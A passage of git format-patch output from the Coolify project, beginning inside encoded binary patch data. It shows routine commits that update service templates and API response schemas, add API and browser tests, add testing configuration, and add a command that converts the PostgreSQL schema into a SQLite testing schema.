z7rNts)Bo%vZqwvqc<+Eeon73zA93N%7a2{qg%Zm;m-D)MdNQteId@OZdz+mmSXJd&snd-)PqevWEi)w);&4!e@;_qEC*GK zzfff527w84z5X1q0%K(@8inLtH-bUih`%OH3IC5>+_cd z`w`TThcIY#baY)7MCI+~xugAktxAGheQo6FK|H<kj z8G&~SSRQt44Iu^}hJ;4d*VUEo7)9)Sp$}9)&%of|+?$lQNGZ@vDSm0=fY8agU07In z&3p!w!nWv*xk@d3}WHF zmo320UqeHGp(Zu;(&FfEK20mD>!KneP6r1Eo5YSYxA&6v#lEuvi(TjTzH-oGh@*aQV6YC(|^Tfo&f}vu4$D3Ag zIDD_?vSAG&@(gvz<8VQT{`n6S9&C1v?t6&=M1sWr_;Y%~(2%Z&;$P{V^5Dn!>h2sf zzyJ=cZPu5*CK}Hd(Q|WivvYGx%JQ?;UGWUa_fiSl+td~nv=(DOJUk?CY~n)*uIMmw z{%2mBCa;ITGlEB!O00a)r-zQ$B*3313G?4SyJ$m^9`ng)1C?*1UyO zx2bb^+2ljGSNZ9arF2?$cD4dh01lrSJIsyPvx=V&0)UEZa_xW3gQduaYaCo2|Nh+} zY#5@9KKwl-xh4_p-ImhDbVO;W2v`}ZuxUnAc+ONc42AI+XFun1KO5r0w30ci6#i*WjJ+UoweSmFCtap}k4hjpqt^*MzU$RP`t?E5j}= zEj8fkAA2q=EJ&0q^6_=o7>_ zUePVwyH-~Jcoch0;#5-E`;+e?HH%Q2-w!(dry`P)9V?WBHT4n$)ao+`QD%3h>?E6& zZ^uMoYG=z*Nv8O-bdZY2#!NN$)i((V37K!2S;(46`S-cj=j$J*Yzhjgp*xb90Gq9Y zFYA5jU!yCNHsdZ7E{ilXXaZ$0F3f(cOsihEx#@+|FLjSliVa#VSQCg;t9_hhV%YUw{=z1IK=rG=bS+i2}j=vMPS+8gnI0|I4sNRl^ z(rO4JuPfL;c5%`2Wa`GKwz9FE-(Elu*@bU4hCkrrz8m`b-Gx*hINaj!qMioB3tA$Y zl7l}d92##segCSTpP%u%*-dJvn%P;)ys_IRLlwKy-YAHAWSD4sAZ^tbZ`~TPL;g%xNF0!_^Z%*yhrw!d zy`Z(GKL*QMVEeu)ij0qsTRS@D zFqR7{W?pWVn3Ob`nwrXd5~K72i#7J1sj{^;G8&^nha`T@|Ju{@si6{Zu-OJq?UWid zDFMo74$Oz@uf4q<06cN0R9wbj3AZw(oath%M=AJbAA5z&Z|xB_Gjb)x#U21Q3@<)3 zlp4Iuu&gwfbLwG`1I*t8w}(wtf#v7~fvxy6s$0IiOHJ(p7xGBXG^S&P!~V$|Os4Ec z^sQ-=hYwXf>23=OVm(q;Msu5w0=DLx;ei5&fO$EBO&@#TQq`82lo*g2N}_4#vG=i5 zR8$SVG^_@I%$z6vGPjtuWbDWcxmQLGl?7wxzT~J>T%FCV@d%vr@OKqab z+eYL`e3@NHd02^vuyEd5aodi=4odd{g9;0V7Ycb5djy40V>}GP0;a&YYbhP?h>WzZ zNTygRgly}j)GtTCSy@@FZ|{$w6ay0m3}q7&5`Y^}DYX37p7Mtt zu9did9s{1DWA%6l%u8S;_4bh`=_jNKLoso2%#PfrggPqssj{o{jh^ov$-fLc-`j-^ ze9Zls+sniu;X-WNH7KwM8Xg{YF)7x|)7a*82H^7=&)4u;9?p2xetSve*RNj<-Y$la zi9}Ls`d-46hb+ke@$_lC$rdLZkqs&#Ul*kmM*7sz+9GakbYdStPB(w}Fi)53k+781 zL#FfR-?U3AIlNhbn9%k()vhXp)|?iwa*88uvlMx@jS6J0^exn05WE~dP zQbiu@Y35O8Z2dicmElF=9mam(mqFElr#g2ud+>PM@DuV(V}3p_e#2Z9fv8$05+x(J z)l{})3Zj51tlG^0q2hT$1YDXz8%(*ly1Luh*7YLiC^JEU2NPh6 zF*!gHd{~6(hTo8f{r%%oxxM}mrFle z%Z!;)zBQnZimz{tt{q%jdN+p{8y8o%y1MFiIoSgkh~w@uCJoOV&&C%0;RE!28)EA! z9@nvJmh|YWx-6)me5!Pj`zkkfNF*0l<>Q*|>hNDnUlqD_Lpy$KRCl<=(6dgXCF*y` zWLKa$#b4f)sjA%gUSa|8L77pCI1EHpm*{2Ok3cO;h>0ala~QEuFR73x0?6iPBoPsj zK>_kVZxZIIsr)+4M8hVZIv9XJk);q+rn@f1*N!m@7n7rQ(ge4(cBxQwvYj3lu&nof z($V~nR;DQJ{j=#d867oy@!GZ3)EP8#S8!-(sQh5gti;bv&TmN_P`&_Z8yJFpagp!Q z?-u3LeP@i=ANL(&R=J+ct!%*5hq~kUY&nDD%9XLZfuQ3uMK(7!hT>Sb9@O&#wi#-g z7L@Mi@kF#GdN|ikSKAX)6_!U(HYV|+bgFWN`T5VL<=b;RVw#)b`cGh~=&ub@?7BQv zpU%FlD;2ttR>vhicE2es{;5^uZABRDceMRV$Jt4>#FqPu z>gsA9@*NtgkB|3v7A25)5{aZ>&-K}K^dBkb(tk9-^mT#f(HYdP`%SUj4_Ev4-l5}z-8EU(8+SS{UAnY-{-Hiu`!iOu=%arI90sc!p}=6UhI35pW4pU|m6T$= zS8jvYb-{BP#{u8 zeFl=YEvA2@LY$23*jnz82GPa)=U{rngzxUkXvfORy`xQOHG(~8VmYtbng?g%_l|ee zN@nPQ5Erw?u1%C|oT`}6svD~?GBP%Rb?^lLIJ2d+zrR0Lb2U6ACI{x4kVmYx2HByK z=viyY>DAHP+${Hay(Epc*IRvSXye0j(?9} z;@i0p=I1BH^6On5kYWV%mSS*HF_ne#>;wp-afLgly#Vt;)s*23=|8q0CMXzp=wGI$ zavB7JV)yNh8+SvE2HcAueCNKPt*tFn7D`+|ivcGIPP>u%^qR@yl_6Xo_o@}Un5DyN zxG4_UU?V73_r=9UEJZ2X3CHt;VQFQhgmk-v`S{AP+2v_Ynh>nO;LuQk3G;rgQutm! z;{HvB7cPKi>3CXKQ*-k=7B0Dd#DhOy4h#%LYvX__4k8AX*w{1*i;8N^%FTskQ>TQ0 z%24!#OkR>aF&OeatrKjSndsJ5GeM3NG1L@swD;f@Qo2UV2SROJEoRp?J4TV{#$>@8 zS6Ba@>W+>wH4%ok>7f+TZ|&i(;JoC-d3o<2$^{pHV9hV(e!3qW8y{c)pV&|Z=5HS_ zFYn)O`Bqwn!pYF&M9}LPaj7G|JSHZl#?n$D39MN=`nxD3=k#qCb!Lno*F z>DCaRwRtuwB&3YKFf2>`!2=I4+~N>fy>lIr%K9UzXgnL+&3|~HjYA-;HvqSG&&bG# zLzKkr6g&zHl))6gMZXFZ!E!k?L!l$@2hwhPDu!%VWYGA?*bxDu{`O Date: Fri, 6 Feb 2026 09:49:28 +0530 Subject: [PATCH 024/305] feat(service): disable maybe This service is no longer maintained by the original authors and their github repository is archived, more info on https://github.com/we-promise/sure?tab=readme-ov-file#backstory --- templates/compose/maybe.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/templates/compose/maybe.yaml b/templates/compose/maybe.yaml index 27bcbc5a1..1cc738d7e 100644 --- a/templates/compose/maybe.yaml +++ b/templates/compose/maybe.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://github.com/maybe-finance/maybe # slogan: Maybe, the OS for your personal finances. # category: productivity From 95e93ad899d6270008155c0f5af0735d6f0e965b Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 9 Feb 2026 14:48:16 +0100 Subject: [PATCH 025/305] chore: prepare for PR --- .../Api/ApplicationsController.php | 7 +- .../Controllers/Api/ServicesController.php | 11 +- openapi.json | 27 +-- openapi.yaml | 14 +- .../EnvironmentVariableUpdateApiTest.php | 194 ++++++++++++++++++ 5 files changed, 210 insertions(+), 43 deletions(-) create mode 100644 tests/Feature/EnvironmentVariableUpdateApiTest.php diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 1e045ff5a..57bcc13f6 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -19,8 +19,8 @@ use App\Rules\ValidGitRepositoryUrl; use App\Services\DockerImageParser; use Illuminate\Http\Request; -use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\Http; +use Illuminate\Support\Facades\Validator; use Illuminate\Validation\Rule; use OpenApi\Attributes as OA; use Spatie\Url\Url; @@ -2919,10 +2919,7 @@ public function envs(Request $request) new OA\MediaType( mediaType: 'application/json', schema: new OA\Schema( - type: 'object', - properties: [ - 'message' => ['type' => 'string', 'example' => 'Environment variable updated.'], - ] + ref: '#/components/schemas/EnvironmentVariable' ) ), ] diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 27fdb1ba8..ee4d84f10 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -1141,10 +1141,7 @@ public function envs(Request $request) new OA\MediaType( mediaType: 'application/json', schema: new OA\Schema( - type: 'object', - properties: [ - 'message' => ['type' => 'string', 'example' => 'Environment variable updated.'], - ] + ref: '#/components/schemas/EnvironmentVariable' ) ), ] @@ -1265,10 +1262,8 @@ public function update_env_by_uuid(Request $request) new OA\MediaType( mediaType: 'application/json', schema: new OA\Schema( - type: 'object', - properties: [ - 'message' => ['type' => 'string', 'example' => 'Environment variables updated.'], - ] + type: 'array', + items: new OA\Items(ref: '#/components/schemas/EnvironmentVariable') ) ), ] diff --git a/openapi.json b/openapi.json index bd502865a..cbd79ca1d 100644 --- a/openapi.json +++ b/openapi.json @@ -3063,13 +3063,7 @@ "content": { "application\/json": { "schema": { - "properties": { - "message": { - "type": "string", - "example": "Environment variable updated." - } - }, - "type": "object" + "$ref": "#\/components\/schemas\/EnvironmentVariable" } } } @@ -9617,13 +9611,7 @@ "content": { "application\/json": { "schema": { - "properties": { - "message": { - "type": "string", - "example": "Environment variable updated." - } - }, - "type": "object" + "$ref": "#\/components\/schemas\/EnvironmentVariable" } } } @@ -9721,13 +9709,10 @@ "content": { "application\/json": { "schema": { - "properties": { - "message": { - "type": "string", - "example": "Environment variables updated." - } - }, - "type": "object" + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/EnvironmentVariable" + } } } } diff --git a/openapi.yaml b/openapi.yaml index 11148f43b..172607117 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -1952,9 +1952,7 @@ paths: content: application/json: schema: - properties: - message: { type: string, example: 'Environment variable updated.' } - type: object + $ref: '#/components/schemas/EnvironmentVariable' '401': $ref: '#/components/responses/401' '400': @@ -6027,9 +6025,7 @@ paths: content: application/json: schema: - properties: - message: { type: string, example: 'Environment variable updated.' } - type: object + $ref: '#/components/schemas/EnvironmentVariable' '401': $ref: '#/components/responses/401' '400': @@ -6075,9 +6071,9 @@ paths: content: application/json: schema: - properties: - message: { type: string, example: 'Environment variables updated.' } - type: object + type: array + items: + $ref: '#/components/schemas/EnvironmentVariable' '401': $ref: '#/components/responses/401' '400': diff --git a/tests/Feature/EnvironmentVariableUpdateApiTest.php b/tests/Feature/EnvironmentVariableUpdateApiTest.php new file mode 100644 index 000000000..9c45dc5ae --- /dev/null +++ b/tests/Feature/EnvironmentVariableUpdateApiTest.php @@ -0,0 +1,194 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +describe('PATCH /api/v1/services/{uuid}/envs', function () { + test('returns the updated environment variable object', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + EnvironmentVariable::create([ + 'key' => 'APP_IMAGE_TAG', + 'value' => 'old-value', + 'resourceable_type' => Service::class, + 'resourceable_id' => $service->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs", [ + 'key' => 'APP_IMAGE_TAG', + 'value' => 'new-value', + ]); + + $response->assertStatus(201); + $response->assertJsonStructure([ + 'uuid', + 'key', + 'is_literal', + 'is_multiline', + 'is_shown_once', + 'created_at', + 'updated_at', + ]); + $response->assertJsonFragment(['key' => 'APP_IMAGE_TAG']); + $response->assertJsonMissing(['message' => 'Environment variable updated.']); + }); + + test('returns 404 when environment variable does not exist', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs", [ + 'key' => 'NONEXISTENT_KEY', + 'value' => 'some-value', + ]); + + $response->assertStatus(404); + $response->assertJson(['message' => 'Environment variable not found.']); + }); + + test('returns 404 when service does not exist', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson('/api/v1/services/non-existent-uuid/envs', [ + 'key' => 'APP_IMAGE_TAG', + 'value' => 'some-value', + ]); + + $response->assertStatus(404); + }); + + test('returns 422 when key is missing', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs", [ + 'value' => 'some-value', + ]); + + $response->assertStatus(422); + }); +}); + +describe('PATCH /api/v1/applications/{uuid}/envs', function () { + test('returns the updated environment variable object', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + EnvironmentVariable::create([ + 'key' => 'APP_IMAGE_TAG', + 'value' => 'old-value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [ + 'key' => 'APP_IMAGE_TAG', + 'value' => 'new-value', + ]); + + $response->assertStatus(201); + $response->assertJsonStructure([ + 'uuid', + 'key', + 'is_literal', + 'is_multiline', + 'is_shown_once', + 'created_at', + 'updated_at', + ]); + $response->assertJsonFragment(['key' => 'APP_IMAGE_TAG']); + $response->assertJsonMissing(['message' => 'Environment variable updated.']); + }); + + test('returns 404 when environment variable does not exist', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [ + 'key' => 'NONEXISTENT_KEY', + 'value' => 'some-value', + ]); + + $response->assertStatus(404); + }); + + test('returns 422 when key is missing', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [ + 'value' => 'some-value', + ]); + + $response->assertStatus(422); + }); +}); From c5afd8638e9b6d73a5eb1ce0e3b448d1ac824ef7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 9 Feb 2026 15:24:24 +0100 Subject: [PATCH 026/305] chore: prepare for PR --- .../Project/New/GithubPrivateRepository.php | 5 +++++ .../views/components/forms/datalist.blade.php | 20 +++++++++++++++---- 2 files changed, 21 insertions(+), 4 deletions(-) diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 40d2674e2..6acb17f82 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -75,6 +75,11 @@ public function mount() $this->github_apps = GithubApp::private(); } + public function updatedSelectedRepositoryId(): void + { + $this->loadBranches(); + } + public function updatedBuildPack() { if ($this->build_pack === 'nixpacks') { diff --git a/resources/views/components/forms/datalist.blade.php b/resources/views/components/forms/datalist.blade.php index 1d9a3b263..a0ad099dc 100644 --- a/resources/views/components/forms/datalist.blade.php +++ b/resources/views/components/forms/datalist.blade.php @@ -99,8 +99,14 @@ {{-- Unified Input Container with Tags Inside --}}
From 13af86734179da86497ecab13f189afee461ef70 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Tue, 10 Feb 2026 11:22:57 +0530 Subject: [PATCH 027/305] fix(service): glitchtip webdashboard doesn't load --- templates/compose/glitchtip.yaml | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/templates/compose/glitchtip.yaml b/templates/compose/glitchtip.yaml index 3e86d813a..5f239daee 100644 --- a/templates/compose/glitchtip.yaml +++ b/templates/compose/glitchtip.yaml @@ -1,9 +1,9 @@ # documentation: https://glitchtip.com -# slogan: GlitchTip is a self-hosted, open-source error tracking system. +# slogan: GlitchTip is a error tracking system. # category: monitoring -# tags: error, tracking, open-source, self-hosted, sentry +# tags: error, tracking, sentry # logo: svgs/glitchtip.png -# port: 8080 +# port: 8000 services: postgres: @@ -29,14 +29,14 @@ services: retries: 10 web: - image: glitchtip/glitchtip + image: glitchtip/glitchtip:6.0 depends_on: postgres: condition: service_healthy redis: condition: service_healthy environment: - - SERVICE_URL_GLITCHTIP_8080 + - SERVICE_URL_GLITCHTIP_8000 - DATABASE_URL=postgres://$SERVICE_USER_POSTGRESQL:$SERVICE_PASSWORD_POSTGRESQL@postgres:5432/${POSTGRESQL_DATABASE:-glitchtip} - SECRET_KEY=$SERVICE_BASE64_64_ENCRYPTION - EMAIL_URL=${EMAIL_URL:-consolemail://} @@ -53,7 +53,7 @@ services: retries: 10 worker: - image: glitchtip/glitchtip + image: glitchtip/glitchtip:6.0 command: ./bin/run-celery-with-beat.sh depends_on: postgres: @@ -77,7 +77,7 @@ services: retries: 10 migrate: - image: glitchtip/glitchtip + image: glitchtip/glitchtip:6.0 restart: "no" depends_on: postgres: From 47a3f2e2cd8bdf0d23e52c277dbd90db50a0c0a8 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Feb 2026 15:25:47 +0100 Subject: [PATCH 028/305] test: add Pest browser testing with SQLite :memory: schema Set up end-to-end browser testing using Pest Browser Plugin + Playwright. New v4 test suite uses SQLite :memory: database with pre-generated schema dump (database/schema/testing-schema.sql) instead of running migrations, enabling faster test startup. - Add pestphp/pest-plugin-browser dependency - Create GenerateTestingSchema command to export PostgreSQL schema to SQLite - Add .env.testing configuration for isolated test environment - Implement v4 test directory structure (Feature, Browser, Unit tests) - Update Pest skill documentation with browser testing patterns, API reference, debugging techniques, and common pitfalls - Configure phpunit.xml and tests/Pest.php for v4 suite - Update package.json and docker-compose.dev.yml for testing dependencies --- .claude/skills/pest-testing/SKILL.md | 157 +- .env.testing | 15 + .../Commands/GenerateTestingSchema.php | 222 +++ composer.json | 1 + composer.lock | 1565 ++++++++++++++- config/database.php | 14 +- ...11_11_125366_add_index_to_activity_log.php | 8 + ...5_12_08_135600_add_performance_indexes.php | 8 + database/schema/testing-schema.sql | 1754 +++++++++++++++++ docker-compose.dev.yml | 2 + package-lock.json | 47 +- package.json | 5 +- phpunit.xml | 15 +- resources/views/auth/register.blade.php | 8 +- templates/service-templates-latest.json | 34 +- templates/service-templates.json | 34 +- tests/Pest.php | 2 +- tests/v4/Browser/LoginTest.php | 46 + tests/v4/Browser/RegistrationTest.php | 62 + tests/v4/Feature/SqliteDatabaseTest.php | 18 + 20 files changed, 3887 insertions(+), 130 deletions(-) create mode 100644 .env.testing create mode 100644 app/Console/Commands/GenerateTestingSchema.php create mode 100644 database/schema/testing-schema.sql create mode 100644 tests/v4/Browser/LoginTest.php create mode 100644 tests/v4/Browser/RegistrationTest.php create mode 100644 tests/v4/Feature/SqliteDatabaseTest.php diff --git a/.claude/skills/pest-testing/SKILL.md b/.claude/skills/pest-testing/SKILL.md index 67455e7e6..9ca79830a 100644 --- a/.claude/skills/pest-testing/SKILL.md +++ b/.claude/skills/pest-testing/SKILL.md @@ -23,19 +23,28 @@ ## Documentation Use `search-docs` for detailed Pest 4 patterns and documentation. -## Basic Usage +## Test Directory Structure -### Creating Tests +- `tests/Feature/` and `tests/Unit/` — Legacy tests (keep, don't delete) +- `tests/v4/Feature/` — New feature tests (SQLite :memory: database) +- `tests/v4/Browser/` — Browser tests (Pest Browser Plugin + Playwright) +- `tests/Browser/` — Legacy Dusk browser tests (keep, don't delete) -All tests must be written using Pest. Use `php artisan make:test --pest {name}`. +New tests go in `tests/v4/`. The v4 suite uses SQLite :memory: with a schema dump (`database/schema/testing-schema.sql`) instead of running migrations. -### Test Organization +Do NOT remove tests without approval. -- Unit/Feature tests: `tests/Feature` and `tests/Unit` directories. -- Browser tests: `tests/Browser/` directory. -- Do NOT remove tests without approval - these are core application code. +## Running Tests -### Basic Test Structure +- All v4 tests: `php artisan test --compact tests/v4/` +- Browser tests: `php artisan test --compact tests/v4/Browser/` +- Feature tests: `php artisan test --compact tests/v4/Feature/` +- Specific file: `php artisan test --compact tests/v4/Browser/LoginTest.php` +- Filter: `php artisan test --compact --filter=testName` +- Headed (see browser): `./vendor/bin/pest tests/v4/Browser/ --headed` +- Debug (pause on failure): `./vendor/bin/pest tests/v4/Browser/ --debug` + +## Basic Test Structure @@ -45,24 +54,10 @@ ### Basic Test Structure -### Running Tests - -- Run minimal tests with filter before finalizing: `php artisan test --compact --filter=testName`. -- Run all tests: `php artisan test --compact`. -- Run file: `php artisan test --compact tests/Feature/ExampleTest.php`. - ## Assertions Use specific assertions (`assertSuccessful()`, `assertNotFound()`) instead of `assertStatus()`: - - -it('returns all', function () { - $this->postJson('/api/docs', [])->assertSuccessful(); -}); - - - | Use | Instead of | |-----|------------| | `assertSuccessful()` | `assertStatus(200)` | @@ -75,7 +70,7 @@ ## Mocking ## Datasets -Use datasets for repetitive tests (validation rules, etc.): +Use datasets for repetitive tests: @@ -88,73 +83,94 @@ ## Datasets -## Pest 4 Features +## Browser Testing (Pest Browser Plugin + Playwright) -| Feature | Purpose | -|---------|---------| -| Browser Testing | Full integration tests in real browsers | -| Smoke Testing | Validate multiple pages quickly | -| Visual Regression | Compare screenshots for visual changes | -| Test Sharding | Parallel CI runs | -| Architecture Testing | Enforce code conventions | +Browser tests use `pestphp/pest-plugin-browser` with Playwright. They run **outside Docker** — the plugin starts an in-process HTTP server and Playwright browser automatically. -### Browser Test Example +### Key Rules -Browser tests run in real browsers for full integration testing: +1. **Always use `RefreshDatabase`** — the in-process server uses SQLite :memory: +2. **Always seed `InstanceSettings::create(['id' => 0])` in `beforeEach`** — most pages crash without it +3. **Use `User::factory()` for auth tests** — create users with `id => 0` for root user +4. **No Dusk, no Selenium** — use `visit()`, `fill()`, `click()`, `assertSee()` from the Pest Browser API +5. **Place tests in `tests/v4/Browser/`** +6. **Views with bare `function` declarations** will crash on the second request in the same process — wrap with `function_exists()` guard if you encounter this -- Browser tests live in `tests/Browser/`. -- Use Laravel features like `Event::fake()`, `assertAuthenticated()`, and model factories. -- Use `RefreshDatabase` for clean state per test. -- Interact with page: click, type, scroll, select, submit, drag-and-drop, touch gestures. -- Test on multiple browsers (Chrome, Firefox, Safari) if requested. -- Test on different devices/viewports (iPhone 14 Pro, tablets) if requested. -- Switch color schemes (light/dark mode) when appropriate. -- Take screenshots or pause tests for debugging. +### Browser Test Template - + +actingAs(User::factory()->create()); +uses(RefreshDatabase::class); - $page = visit('/sign-in'); - - $page->assertSee('Sign In') - ->assertNoJavaScriptErrors() - ->click('Forgot Password?') - ->fill('email', 'nuno@laravel.com') - ->click('Send Reset Link') - ->assertSee('We have emailed your password reset link!'); - - Notification::assertSent(ResetPassword::class); +beforeEach(function () { + InstanceSettings::create(['id' => 0]); }); +it('can visit the page', function () { + $page = visit('/login'); + + $page->assertSee('Login'); +}); -### Smoke Testing +### Browser Test with Form Interaction -Quickly validate multiple pages have no JavaScript errors: + +it('fails login with invalid credentials', function () { + User::factory()->create([ + 'id' => 0, + 'email' => 'test@example.com', + 'password' => Hash::make('password'), + ]); - - -$pages = visit(['/', '/about', '/contact']); - -$pages->assertNoJavaScriptErrors()->assertNoConsoleLogs(); + $page = visit('/login'); + $page->fill('email', 'random@email.com') + ->fill('password', 'wrongpassword123') + ->click('Login') + ->assertSee('These credentials do not match our records'); +}); -### Visual Regression Testing +### Browser API Reference -Capture and compare screenshots to detect visual changes. +| Method | Purpose | +|--------|---------| +| `visit('/path')` | Navigate to a page | +| `->fill('field', 'value')` | Fill an input by name | +| `->click('Button Text')` | Click a button/link by text | +| `->assertSee('text')` | Assert visible text | +| `->assertDontSee('text')` | Assert text is not visible | +| `->assertPathIs('/path')` | Assert current URL path | +| `->assertSeeIn('.selector', 'text')` | Assert text in element | +| `->screenshot()` | Capture screenshot | +| `->debug()` | Pause test, keep browser open | +| `->wait(seconds)` | Wait N seconds | -### Test Sharding +### Debugging -Split tests across parallel processes for faster CI runs. +- Screenshots auto-saved to `tests/Browser/Screenshots/` on failure +- `->debug()` pauses and keeps browser open (press Enter to continue) +- `->screenshot()` captures state at any point +- `--headed` flag shows browser, `--debug` pauses on failure -### Architecture Testing +## SQLite Testing Setup -Pest 4 includes architecture testing (from Pest 3): +v4 tests use SQLite :memory: instead of PostgreSQL. Schema loaded from `database/schema/testing-schema.sql`. + +### Regenerating the Schema + +When migrations change, regenerate from the running PostgreSQL database: + +```bash +docker exec coolify php artisan schema:generate-testing +``` + +## Architecture Testing @@ -171,4 +187,7 @@ ## Common Pitfalls - Using `assertStatus(200)` instead of `assertSuccessful()` - Forgetting datasets for repetitive validation tests - Deleting tests without approval -- Forgetting `assertNoJavaScriptErrors()` in browser tests \ No newline at end of file +- Forgetting `assertNoJavaScriptErrors()` in browser tests +- **Browser tests: forgetting `InstanceSettings::create(['id' => 0])` — most pages crash without it** +- **Browser tests: forgetting `RefreshDatabase` — SQLite :memory: starts empty** +- **Browser tests: views with bare `function` declarations crash on second request — wrap with `function_exists()` guard** diff --git a/.env.testing b/.env.testing new file mode 100644 index 000000000..2f79f3389 --- /dev/null +++ b/.env.testing @@ -0,0 +1,15 @@ +APP_ENV=testing +APP_KEY=base64:8VEfVNVkXQ9mH2L33WBWNMF4eQ0BWD5CTzB8mIxcl+k= +APP_DEBUG=true + +DB_CONNECTION=testing + +CACHE_DRIVER=array +SESSION_DRIVER=array +QUEUE_CONNECTION=sync +MAIL_MAILER=array +TELESCOPE_ENABLED=false + +REDIS_HOST=127.0.0.1 + +SELF_HOSTED=true diff --git a/app/Console/Commands/GenerateTestingSchema.php b/app/Console/Commands/GenerateTestingSchema.php new file mode 100644 index 000000000..00fd90c25 --- /dev/null +++ b/app/Console/Commands/GenerateTestingSchema.php @@ -0,0 +1,222 @@ + 'INTEGER', + '/\binteger\b/' => 'INTEGER', + '/\bsmallint\b/' => 'INTEGER', + '/\bboolean\b/' => 'INTEGER', + '/character varying\(\d+\)/' => 'TEXT', + '/timestamp\(\d+\) without time zone/' => 'TEXT', + '/timestamp\(\d+\) with time zone/' => 'TEXT', + '/\bjsonb\b/' => 'TEXT', + '/\bjson\b/' => 'TEXT', + '/\buuid\b/' => 'TEXT', + '/double precision/' => 'REAL', + '/numeric\(\d+,\d+\)/' => 'REAL', + '/\bdate\b/' => 'TEXT', + ]; + + private array $castRemovals = [ + '::character varying', + '::text', + '::integer', + '::boolean', + '::timestamp without time zone', + '::timestamp with time zone', + '::numeric', + ]; + + public function handle(): int + { + $connection = $this->option('connection'); + + if (DB::connection($connection)->getDriverName() !== 'pgsql') { + $this->error("Connection '{$connection}' is not PostgreSQL."); + + return self::FAILURE; + } + + $this->info('Reading schema from PostgreSQL...'); + + $tables = $this->getTables($connection); + $lastMigration = DB::connection($connection) + ->table('migrations') + ->orderByDesc('id') + ->value('migration'); + + $output = []; + $output[] = '-- Generated by: php artisan schema:generate-testing'; + $output[] = '-- Date: '.now()->format('Y-m-d H:i:s'); + $output[] = '-- Last migration: '.($lastMigration ?? 'none'); + $output[] = ''; + + foreach ($tables as $table) { + $columns = $this->getColumns($connection, $table); + $output[] = $this->generateCreateTable($table, $columns); + } + + $indexes = $this->getIndexes($connection, $tables); + foreach ($indexes as $index) { + $output[] = $index; + } + + $output[] = ''; + $output[] = '-- Migration records'; + + $migrations = DB::connection($connection)->table('migrations')->orderBy('id')->get(); + foreach ($migrations as $m) { + $migration = str_replace("'", "''", $m->migration); + $output[] = "INSERT INTO \"migrations\" (\"id\", \"migration\", \"batch\") VALUES ({$m->id}, '{$migration}', {$m->batch});"; + } + + $path = database_path('schema/testing-schema.sql'); + + if (! is_dir(dirname($path))) { + mkdir(dirname($path), 0755, true); + } + + file_put_contents($path, implode("\n", $output)."\n"); + + $this->info("Schema written to 